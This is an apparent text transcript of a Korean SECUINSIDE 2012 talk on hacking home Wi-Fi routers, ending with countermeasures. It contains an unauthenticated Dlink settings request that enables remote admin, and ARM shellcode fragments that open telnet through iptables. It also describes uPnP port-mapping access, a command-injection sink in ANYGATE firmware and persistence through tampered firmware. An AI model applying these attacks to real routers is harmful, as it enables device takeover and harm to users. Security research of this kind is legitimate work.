다운로드

Download Report

Transcript 다운로드

Wireless Router Hacking
홍정우 | B10S |
Hackerschool
SECUINSIDE 2012
CONTENTS
• 공유기의 기본개념
• 공유기의 구성
• 공유기의 기존 취약점들
• IPTIME 0-Day 취약점
• uPnP 를 이용한 외부 공격
• ANYGATE 0-Day 취약점
• 공유기 취약점 활용 시나리오
• 대응 방안 및 향후 연구 계획
공유기의 기본개념
공유기의 기본 개념
무선 네트워크 접근 & 인터넷 공유
공유기의 기본 개념
A통신사의 명동 지역 내 Wifi
공유기의 기본 개념
A통신사의 논현동 지역 내 Wifi
공유기의 기본 개념
잠재적 피해자들
공유기의 기본 개념
무선랜 이용 장소
자택
직장
커피전문점
실외
학교
패스트푸드
베이커리
관공서
직영대리점
백화점
극장
호텔
편의점
기타
0
20
40
60
80
공유기의 구성
공유기의 구성
펌웨어
커널, 파일시스템
하드웨어
공유기의 구성 ( 하드웨어 )
공유기의 구성 ( 하드웨어 )
공유기의 구성 ( 하드웨어 )
네트워크 컨트롤러
마이크로 컨트롤러
DRAM
FLASH 메모리
안테나 , 전원
WAN 인터페이스
LAN 인터페이스
공유기의 구성 ( 펌웨어 )
펌웨어
커널, 파일시스템
• Kernel : 2.4.19
• Filesystem : cramfs , squashfs , ext2
• Linux Command , Directory , busybox , cgi , config….
공유기의 기존 취약점들
공유기 기존 취약점들
1) IPTIME 공유기 백도어
2) Belkin 디폴트 패스워드
3) Dlink 인증 없는 설정
4) Linksys stack overflow
공유기 기존 취약점들
1) IPTIME 공유기 백도어
• 2007년도에 ISSUE가 됐었음
(http://kldp.org/node/83510)
• 내부 명령 실행 , 파일 열람 모두 가능
• 디버깅과 개발 시 편의성을 위해 만들어진 페이지
공유기 기존 취약점들
2) Belkin 디폴트 패스워드
공유기 기존 취약점들
3) Dlink 인증 없는 설정
http://192.168.0.1/apply.cgi?
admin_password=pwdpwd&
admin_password1=pwdpwd&
admPass2=pwdpwd&
remote_enable=1&
remote_http_management_enable=1&
remote_http_management_port=8080&
remote_inbound_filter=Allow_All&
remote_http_management_inbound_filter=Allow_All
• 관리자에 대한 인증절차가 없이 모든 인자 값이 정상 처리된다.
공유기 기존 취약점들
4) Linksys stack overflow
• 경계 값 체크 없이 프로그래밍
IPTIME 0-Day 취약점
IPTIME 0-Day 취약점
악의적인 사용자
③
TARGET
공격
④
모의 공격
②
취약점 발견
①
TARGET과 동일한 공유기
잠재적 피해자들
IPTIME 0-Day 취약점
① 취약점 발견
펌웨어가 취약 할 것이다.
악의적인 사용자
펌웨어 획득 방법
모의 공격
취약점 발견
1. 공식 홈페이지에서 최신펌웨어 다운로드
2. MCU의 JTAG 포트를 이용한 DUMP
3. Flash 메모리 분리 후 DUMP
TARGET과 동일한 공유기
IPTIME 0-Day 취약점
펌웨어 확보 방법 (1) : 공식 홈페이지에서 최신 펌웨어 다운로드
IPTIME 0-Day 취약점
펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결 후 DUMP
JTAG PINOUT
IPTIME 신규 취약점
펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결
JTAG 전용 장비 필요
http://devicemart.co.kr/goods/view.php?seq=15635
IPTIME 신규 취약점
펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP
Flash memory
IPTIME 0-Day 취약점
펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP
공개 Flash dump 도구 이용
http://github.com/cyphunk/ParallelFLASHDumper
IPTIME 0-Day 취약점
① 취약점 발견
파일시스템 추출
[root@codeache rootfs]# ls -al
total 132
drwxr-xr-x 15 root root 4096 Sep 20 2011 .
drwxr-xr-x 5 root root 4096 Nov 11 2011 ..
drwxr-xr-x 3 root root 4096 Jun 7 00:38 bin
drwxr-xr-x 6 root root 4096 Sep 20 2011 default
drwxr-xr-x 2 root root 4096 Sep 20 2011 dev
lrwxrwxrwx 1 root root 8 Nov 11 2011 etc -> /tmp/etc
drwxr-xr-x 3 root root 4096 Sep 20 2011 home
drwxr-xr-x 3 root root 4096 Sep 20 2011 lib
lrwxrwxrwx 1 root root 11 Nov 11 2011 linuxrc -> bin/busybox
drwxr-xr-x 2 root root 4096 Sep 20 2011 ndbin
drwxr-xr-x 2 root root 4096 Sep 20 2011 plugin
drwxr-xr-x 2 root root 4096 Sep 20 2011 proc
drwxr-xr-x 2 root root 4096 Sep 20 2011 save
drwxr-xr-x 2 root root 4096 Sep 20 2011 sbin
drwxr-xr-x 2 root root 4096 Sep 20 2011 tmp
drwxr-xr-x 2 root root 4096 Sep 20 2011 upgrade-bin
drwxr-xr-x 5 root root 4096 Sep 20 2011 usr
lrwxrwxrwx 1 root root 8 Nov 11 2011 var -> /tmp/var
[root@codeache rootfs]#
펌웨어 추출 도구 : http://code.google.com/p/firmware-mod-kit/
IPTIME 0-Day 취약점
① 취약점 발견
/cgi-bin/timepro.cgi가 로드된다.
IPTIME 0-Day 취약점
① 취약점 발견
악의적인 사용자
모의 공격
취약점 발견
TARGET과 동일한 공유기
분석 가능
IPTIME 0-Day 취약점
① 취약점 발견
DEMO
IPTIME 0-Day 취약점
① 취약점 발견 – 버퍼 오버플로우
Stack Memory
BEFORE STRCPY()
Buffer
AFTER STRCPY()
aaaaaaaaaaaaaaaaaaaaaaaaa
LDMFD
SP , PC}
SP, {R11 ,
aaaa aaaa aaaa
R11
SP
PC
IPTIME 0-Day 취약점
① 취약점 발견 – 버퍼 오버플로우
Aaaaaaaaaaaaaaaaaaaaaaaaa
Buffer
aaaa aaaa aaaa
R11
SP
PC
PC 레지스터 : 다음 실행할 명령어의 위치
프로그램 흐름을 원하는 곳으로 이동시킬 수 있다.
GOOD!!!
IPTIME 0-Day 취약점
① 취약점 발견 – 버퍼 오버플로우
aaaaaaaaaaaaaaaaaaaaaaaaa
Buffer
aaaa aaaa aaaa
R11
SP
PC
쉘코드를 어디에 올릴 것인가?
CGI 는 환경변수에 HTTP 데이터를 저장한다.
User-Agent :
utelnetd 구동 , iptables 에서 telnet 허용 쉘코드
IPTIME 0-Day 취약점
① 취약점 발견 – 버퍼 오버플로우
add
add
add
add
add
add
add
add
add
r1,
r2,
r3,
r4,
r5,
r6,
r7,
r8,
r9,
pc,
pc,
pc,
pc,
pc,
pc,
pc,
pc,
pc,
#96
#107
#106
#108
#107
#107
#111
#110
#109
.ascii
.ascii
.ascii
.ascii
.ascii
.ascii
.ascii
.ascii
.ascii
"/sbin/iptablesF"
"-AF"
"INPUTF"
"-pF"
"tcpF"
"--dportF"
"23F"
"-jF"
"ACCEPTF"
IPTIME 0-Day 취약점
① 취약점 발견 – 버퍼 오버플로우
stmfd
sp!, {r1-r9 ,lr}
add
strb
r8, pc , #12
lr, [r8 , #1]
mov
mov
mov
swi
r0, r1 , lsl lr
r1, sp
r2, lr
0x90ff0b
Execve 첫번 째 인자
Execve 두번 째 인자
Execve 세번 째 인자
Swi 0x90000b
execve(“/sbin/iptables”,”/sbin/iptables”,”-A”,”INPUT”…. , NULL)
IPTIME 0-Day 취약점
② 모의 공격
• 취약점 발견과 공격코드 구상
• 공유기 시스템 내부 쉘이 있으면 동적 디버깅 가능
• 공격에 필요한 각종 테스트를 해야 함
gdb , strace , busybox 등 크로스 컴파일 해서 업로드
• 공격코드 완성 , 테스트
IPTIME 0-Day 취약점
② 모의 공격
DEMO
IPTIME 0-Day 취약점
③ 공격
인터넷
공격에 필요한 조건
공유기 패스워드
물리적으로 근접
TARGET
공격
잠재적 피해자들
악의적인 사용자
IPTIME 0-Day 취약점
③ 공격
인터넷
TARGET
공격
공격에 필요한 조건
공유기의 아이피
악의적인 사용자
잠재적 피해자들
IPTIME 0-Day 취약점
③ 공격 - uPnP
• 홈네트워크에서의 기기 간 인식, 통신 프로토콜
IPTIME 0-Day 취약점
③ 공격 - uPnP
공유기에 포트매핑 요청
XML 형태로 통신
IPTIME 0-Day 취약점
③ 공격 - uPnP
외부 uPnP 요청 허용
외부에서 원하는 포트로 접근가능 ( 80, 23)
IPTIME 0-Day 취약점
③ 공격 - uPnP
# telnet 공유기IP uPnP_Port
IPTIME 0-Day 취약점
③ 공격 - uPnP
TARGET
인터넷
공유기
취약점
텔넷접속
공격요청
가능
80 포트
23
uPnP
잠재적 피해자들
악의적인 사용자
IPTIME 0-Day 취약점
③ 공격 – Remote Attack
DEMO
ANYGATE 0-Day 취약점
ANYGATE 0-Day 취약점
IPTIME 때와 동일
악의적인 사용자
③
TARGET
공격
④
모의 공격
②
취약점 발견
①
TARGET과 동일한 공유기
잠재적 피해자들
ANYGATE 0-Day 취약점
① 취약점 발견
펌웨어가 취약 할 것이다.
악의적인 사용자
펌웨어 획득 방법
모의 공격
취약점 발견
1. 공식 홈페이지에서 최신펌웨어 다운로드
2. MCU의 JTAG 포트를 이용한 DUMP
3. Flash 메모리 분리 후 DUMP
TARGET과 동일한 공유기
ANYGATE 0-Day 취약점
1) 디버깅용 페이지 존재
• 인증절차 없이 내부 명령 실행 가능
• iptables , ifconfig , ping 만 지원
ANYGATE 0-Day 취약점
1) 디버깅용 페이지 존재
• 인증절차 없이 내부 명령 실행 가능
• iptables , ifconfig , ping 만 지원
ANYGATE 0-Day 취약점
2) 특정 설정 페이지 내부 명령 실행 가능 취약점
sprintf(&src,
"-S gnudip -u %s:%s -h %s -s %s -r 10&",
dword_3AC8D + 34052,
dword_3AC8D + 34072,
dword_3AC8D + 34092,);
strcat(&szCMD, &src);
sub_14CAC("%s\n", &szCMD);
system(&szCMD);
임의의 명령을 삽입하는 것이 가능
ANYGATE 0-Day 취약점
3) 버퍼오버플로우 취약점
취약점 악용 시나리오
공유기 취약점 악용 시나리오
1) Packet Sniffing & Spoofing(악성코드 유포)
www.good.site/music/song.mp3
www.attacker.com/malware.exe
공유기 취약점 악용 시나리오
2) 피싱 (DNS Hijacking)
www.phising.com
www.hanabank.com
ID , PW 입력
공유기 취약점 악용 시나리오
3) 사내 보안 문제
사내 인트라넷
사장
영업팀
인사팀
개발팀
과장
대리
사원
공유기 취약점 악용 시나리오
4) 경유지 (VPN, Port Fowarding)
공격 대상
사이트
추적이 어려워짐
공유기 취약점 악용 시나리오
5) DDOS
공유기 취약점 악용 시나리오
5) DDOS
공격 대상 사이트
공유기 취약점 악용 시나리오
6) 영구 장악
공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화
다시 공격해야 함.
1. 재부팅 리셋
해커가 펌웨어의 Init script 들을 수정하여 telnet , 포트매핑 등을
부팅 시에 자동으로 수행하게끔 펌웨어 리빌드
관리자 페이지에 접근이 가능하므로, 조작된 펌웨어를 수동업데이트
공유기 취약점 악용 시나리오
6) 영구 장악
공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화
다시 공격해야 함.
2. 펌웨어 업데이트 - 수동업데이트
웹인터페이스의 업데이트 페이지를 수정하여
실제로 업데이트는 일어나지 않도록 조작
공유기 취약점 악용 시나리오
6) 영구 장악
공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화
다시 공격해야 함.
2. 펌웨어 업데이트 - 자동업데이트
공식사이트 펌웨어 업데이트 서버
업데이트 시도
해커가 조작한 펌웨어 업데이트 서버
대응 방안 및 향후 연구 계획
1. 대응 방안
• 펌웨어 개발 시, 보안 프로그래밍
strcpy , sprintf , system 등과 같은 함수들은 주의해서 사용한다.
또한 설정 상 보안에 문제가 될 수 있는 부분들을 제거한다.
• uPnP 의 외부 연결 차단 , 공유기 자체인 localhost로의 포워딩 차단
• 사용자의 공유기에 대한 보안 의식 강화
ex> uPnP 서비스 강제 중단
2. 향후 연구 계획
• 공유기가 TCP/IP , UDP 등 Low Level 프로토콜을 처리하면서 발생할
수 있는 취약점 연구
• 커스터마이징된 기능들에서 발생하는 취약점
게임기 지원 , VPN , QOS 등..
Question?
감사합니다.